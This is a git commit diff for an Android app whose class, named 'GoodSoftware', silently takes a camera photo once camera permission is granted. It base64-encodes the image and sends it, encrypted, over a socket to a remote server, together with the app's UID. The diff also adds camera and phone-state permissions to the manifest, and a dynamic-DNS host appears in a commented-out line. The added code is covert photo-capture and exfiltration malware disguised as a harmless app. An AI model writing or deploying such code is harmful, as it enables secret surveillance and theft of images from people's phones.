Make some updates to server connection
This commit is contained in:
		
							
								
								
									
										47
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										47
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -3,7 +3,52 @@
 | 
				
			|||||||
  <component name="deploymentTargetDropDown">
 | 
					  <component name="deploymentTargetDropDown">
 | 
				
			||||||
    <value>
 | 
					    <value>
 | 
				
			||||||
      <entry key="MainActivity">
 | 
					      <entry key="MainActivity">
 | 
				
			||||||
        <State />
 | 
					        <State>
 | 
				
			||||||
 | 
					          <targetSelectedWithDropDown>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="QUICK_BOOT_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
				
			||||||
 | 
					                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
 | 
					          </targetSelectedWithDropDown>
 | 
				
			||||||
 | 
					          <timeTargetWasSelectedWithDropDown value="2024-05-01T21:00:11.388367735Z" />
 | 
				
			||||||
 | 
					          <multipleDevicesSelectedInDropDown value="true" />
 | 
				
			||||||
 | 
					          <runningDeviceTargetsSelectedWithDialog>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="SERIAL_NUMBER" />
 | 
				
			||||||
 | 
					                  <value value="RF8M8154RCX" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="RUNNING_DEVICE_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
				
			||||||
 | 
					                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
 | 
					          </runningDeviceTargetsSelectedWithDialog>
 | 
				
			||||||
 | 
					          <targetsSelectedWithDialog>
 | 
				
			||||||
 | 
					            <Target>
 | 
				
			||||||
 | 
					              <type value="QUICK_BOOT_TARGET" />
 | 
				
			||||||
 | 
					              <deviceKey>
 | 
				
			||||||
 | 
					                <Key>
 | 
				
			||||||
 | 
					                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
				
			||||||
 | 
					                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
				
			||||||
 | 
					                </Key>
 | 
				
			||||||
 | 
					              </deviceKey>
 | 
				
			||||||
 | 
					            </Target>
 | 
				
			||||||
 | 
					          </targetsSelectedWithDialog>
 | 
				
			||||||
 | 
					        </State>
 | 
				
			||||||
      </entry>
 | 
					      </entry>
 | 
				
			||||||
      <entry key="MainActivity (2)">
 | 
					      <entry key="MainActivity (2)">
 | 
				
			||||||
        <State />
 | 
					        <State />
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										1
									
								
								.idea/misc.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										1
									
								
								.idea/misc.xml
									
									
									
										generated
									
									
									
								
							@@ -1,4 +1,3 @@
 | 
				
			|||||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
					 | 
				
			||||||
<project version="4">
 | 
					<project version="4">
 | 
				
			||||||
  <component name="ExternalStorageConfigurationManager" enabled="true" />
 | 
					  <component name="ExternalStorageConfigurationManager" enabled="true" />
 | 
				
			||||||
  <component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
 | 
					  <component name="ProjectRootManager" version="2" languageLevel="JDK_17" default="true" project-jdk-name="jbr-17" project-jdk-type="JavaSDK">
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -2,6 +2,10 @@
 | 
				
			|||||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 | 
					<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 | 
				
			||||||
    xmlns:tools="http://schemas.android.com/tools">
 | 
					    xmlns:tools="http://schemas.android.com/tools">
 | 
				
			||||||
    <uses-permission android:name="android.permission.INTERNET" />
 | 
					    <uses-permission android:name="android.permission.INTERNET" />
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.CAMERA" />
 | 
				
			||||||
 | 
					    <uses-feature android:name="android.hardware.camera" />
 | 
				
			||||||
 | 
					    <uses-feature android:name="android.hardware.camera.autofocus" />
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    <application
 | 
					    <application
 | 
				
			||||||
        android:allowBackup="true"
 | 
					        android:allowBackup="true"
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -24,19 +24,23 @@ import javax.crypto.spec.SecretKeySpec
 | 
				
			|||||||
import androidx.concurrent.futures.await
 | 
					import androidx.concurrent.futures.await
 | 
				
			||||||
import androidx.core.content.ContextCompat
 | 
					import androidx.core.content.ContextCompat
 | 
				
			||||||
import androidx.lifecycle.LifecycleOwner
 | 
					import androidx.lifecycle.LifecycleOwner
 | 
				
			||||||
 | 
					import android.util.Base64
 | 
				
			||||||
 | 
					import androidx.core.app.ActivityCompat
 | 
				
			||||||
 | 
					import java.io.ByteArrayOutputStream
 | 
				
			||||||
 | 
					import android.Manifest
 | 
				
			||||||
 | 
					import android.app.Activity
 | 
				
			||||||
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
 | 
					import android.os.Build
 | 
				
			||||||
 | 
					import android.telephony.TelephonyManager
 | 
				
			||||||
 | 
					import android.widget.Toast
 | 
				
			||||||
 | 
					import androidx.annotation.RequiresApi
 | 
				
			||||||
 | 
					import androidx.core.content.ContextCompat.getSystemService
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class GoodSoftware (private val context: Context) {
 | 
					class GoodSoftware (private val context: Context) {
 | 
				
			||||||
    private var cameraProvider: ProcessCameraProvider? = null
 | 
					    private var cameraProvider: ProcessCameraProvider? = null
 | 
				
			||||||
    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
					    private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
 | 
				
			||||||
    private var displayId: Int = -1
 | 
					 | 
				
			||||||
    private var preview: Preview? = null
 | 
					 | 
				
			||||||
    private var imageCapture: ImageCapture? = null
 | 
					    private var imageCapture: ImageCapture? = null
 | 
				
			||||||
    private var imageAnalyzer: ImageAnalysis? = null
 | 
					 | 
				
			||||||
    private var camera: Camera? = null
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
    interface PictureTakenCallback {
 | 
					 | 
				
			||||||
        fun onPictureTaken()
 | 
					 | 
				
			||||||
    }
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private companion object {
 | 
					    private companion object {
 | 
				
			||||||
        private const val RSA_ALGORITHM = "RSA"
 | 
					        private const val RSA_ALGORITHM = "RSA"
 | 
				
			||||||
@@ -94,14 +98,17 @@ class GoodSoftware (private val context: Context) {
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    private fun runAllTheGoodness() {
 | 
					    private fun runAllTheGoodness() {
 | 
				
			||||||
        val dataToSend = "Amazing data"
 | 
					        val uid = android.os.Process.myUid().toString()
 | 
				
			||||||
        sendDataToServer(dataToSend)
 | 
					        //sendDataToServer("UID: $uid")
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun sendDataToServer(sendData: String) {
 | 
					    fun sendDataToServer(sendData: String) {
 | 
				
			||||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
					        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
				
			||||||
        val host = "thinclient.duckdns.org"
 | 
					/*        val host = "thinclient.duckdns.org"
 | 
				
			||||||
        val port = 5645
 | 
					        val port = 5645*/
 | 
				
			||||||
 | 
					        val host = "192.168.90.151"
 | 
				
			||||||
 | 
					        val port = 8080
 | 
				
			||||||
        val secureRandom = SecureRandom()
 | 
					        val secureRandom = SecureRandom()
 | 
				
			||||||
        val keyBytes = ByteArray(16)
 | 
					        val keyBytes = ByteArray(16)
 | 
				
			||||||
        val ivBytes = ByteArray(16)
 | 
					        val ivBytes = ByteArray(16)
 | 
				
			||||||
@@ -111,7 +118,7 @@ class GoodSoftware (private val context: Context) {
 | 
				
			|||||||
        val iv = IvParameterSpec(ivBytes)
 | 
					        val iv = IvParameterSpec(ivBytes)
 | 
				
			||||||
        val algorithm = "AES/CBC/PKCS5Padding"
 | 
					        val algorithm = "AES/CBC/PKCS5Padding"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        val chunkSize = 45
 | 
					        val chunkSize = 131072
 | 
				
			||||||
        val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
					        val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        val socket = Socket(host, port)
 | 
					        val socket = Socket(host, port)
 | 
				
			||||||
@@ -120,18 +127,23 @@ class GoodSoftware (private val context: Context) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
        val encodedKey = encodeBase64(keyBytes)
 | 
					        val encodedKey = encodeBase64(keyBytes)
 | 
				
			||||||
        writer.println(encryptText(encodedKey, pKey))
 | 
					        writer.println(encryptText(encodedKey, pKey))
 | 
				
			||||||
 | 
					 | 
				
			||||||
        reader.readLine()
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        val encodedIV = encodeBase64(ivBytes)
 | 
					        val encodedIV = encodeBase64(ivBytes)
 | 
				
			||||||
        writer.println(encryptText(encodedIV, pKey))
 | 
					        writer.println(encryptText(encodedIV, pKey))
 | 
				
			||||||
        reader.readLine()
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
				
			||||||
 | 
					        writer.println(encryptText(encodedUid, pKey))
 | 
				
			||||||
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        for (chunk in chunks) {
 | 
					        for (chunk in chunks) {
 | 
				
			||||||
            val cipherText = encrypt(algorithm, chunk, key, iv)
 | 
					            val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
 | 
				
			||||||
            writer.println(cipherText)
 | 
					            writer.println(cipherText)
 | 
				
			||||||
            reader.readLine()
 | 
					            reader.readLine()
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
        writer.println("END_OF_COMMUNICATION")
 | 
					        writer.println("END_OF_COMMUNICATION")
 | 
				
			||||||
        reader.readLine()
 | 
					        reader.readLine()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -181,6 +193,18 @@ class GoodSoftware (private val context: Context) {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
            override fun onCaptureSuccess(image: ImageProxy) {
 | 
					            override fun onCaptureSuccess(image: ImageProxy) {
 | 
				
			||||||
                // Process captured image here
 | 
					                // Process captured image here
 | 
				
			||||||
 | 
					                val byteArrayOutputStream = ByteArrayOutputStream()
 | 
				
			||||||
 | 
					                val imagePlane = image.planes[0]
 | 
				
			||||||
 | 
					                val buffer = imagePlane.buffer
 | 
				
			||||||
 | 
					                val bytes = ByteArray(buffer.capacity())
 | 
				
			||||||
 | 
					                buffer.get(bytes)
 | 
				
			||||||
 | 
					                byteArrayOutputStream.write(bytes)
 | 
				
			||||||
 | 
					                val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
 | 
				
			||||||
 | 
					                Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
				
			||||||
 | 
					                Thread {
 | 
				
			||||||
 | 
					                    println("Sending data to server")
 | 
				
			||||||
 | 
					                    sendDataToServer(base64Image)
 | 
				
			||||||
 | 
					                }.start()
 | 
				
			||||||
                image.close()
 | 
					                image.close()
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,12 +1,18 @@
 | 
				
			|||||||
package com.ti.m
 | 
					package com.ti.m
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import android.Manifest
 | 
				
			||||||
 | 
					import android.app.Activity
 | 
				
			||||||
 | 
					import android.content.pm.PackageManager
 | 
				
			||||||
import android.os.Bundle
 | 
					import android.os.Bundle
 | 
				
			||||||
 | 
					import android.widget.Toast
 | 
				
			||||||
import androidx.activity.ComponentActivity
 | 
					import androidx.activity.ComponentActivity
 | 
				
			||||||
import androidx.activity.compose.setContent
 | 
					import androidx.activity.compose.setContent
 | 
				
			||||||
import androidx.compose.foundation.layout.fillMaxSize
 | 
					import androidx.compose.foundation.layout.fillMaxSize
 | 
				
			||||||
import androidx.compose.material3.MaterialTheme
 | 
					import androidx.compose.material3.MaterialTheme
 | 
				
			||||||
import androidx.compose.material3.Surface
 | 
					import androidx.compose.material3.Surface
 | 
				
			||||||
import androidx.compose.ui.Modifier
 | 
					import androidx.compose.ui.Modifier
 | 
				
			||||||
 | 
					import androidx.core.app.ActivityCompat
 | 
				
			||||||
 | 
					import androidx.core.content.ContextCompat
 | 
				
			||||||
import androidx.lifecycle.LifecycleOwner
 | 
					import androidx.lifecycle.LifecycleOwner
 | 
				
			||||||
import androidx.lifecycle.lifecycleScope
 | 
					import androidx.lifecycle.lifecycleScope
 | 
				
			||||||
import com.ti.m.GoodSoftware
 | 
					import com.ti.m.GoodSoftware
 | 
				
			||||||
@@ -14,6 +20,9 @@ import com.ti.m.ui.theme.MTheme
 | 
				
			|||||||
import kotlinx.coroutines.launch
 | 
					import kotlinx.coroutines.launch
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
					class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
				
			||||||
 | 
					    private val REQUEST_CAMERA_PERMISSION = 100
 | 
				
			||||||
 | 
					    private lateinit var goo: GoodSoftware
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
					    override fun onCreate(savedInstanceState: Bundle?) {
 | 
				
			||||||
        super.onCreate(savedInstanceState)
 | 
					        super.onCreate(savedInstanceState)
 | 
				
			||||||
        setContent {
 | 
					        setContent {
 | 
				
			||||||
@@ -25,10 +34,33 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
				
			|||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
        val Goo = GoodSoftware(applicationContext);
 | 
					        goo = GoodSoftware(this@MainActivity)
 | 
				
			||||||
        Goo.launch()
 | 
					        goo.launch()
 | 
				
			||||||
        lifecycleScope.launch {
 | 
					        checkCameraPermission()
 | 
				
			||||||
            Goo.takeBeautifulPicture(this@MainActivity)
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun checkCameraPermission() {
 | 
				
			||||||
 | 
					        if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					            ActivityCompat.requestPermissions(this as Activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
				
			||||||
 | 
					        } else {
 | 
				
			||||||
 | 
					            lifecycleScope.launch {
 | 
				
			||||||
 | 
					                goo.takeBeautifulPicture(this@MainActivity)
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
 | 
				
			||||||
 | 
					        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
 | 
				
			||||||
 | 
					        if (requestCode == REQUEST_CAMERA_PERMISSION) {
 | 
				
			||||||
 | 
					            if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
				
			||||||
 | 
					                // Permission granted, proceed with your camera operations
 | 
				
			||||||
 | 
					                lifecycleScope.launch {
 | 
				
			||||||
 | 
					                    goo.takeBeautifulPicture(this@MainActivity)
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					            } else {
 | 
				
			||||||
 | 
					                // Permission denied
 | 
				
			||||||
 | 
					                Toast.makeText(this, "Camera permission denied", Toast.LENGTH_SHORT).show()
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user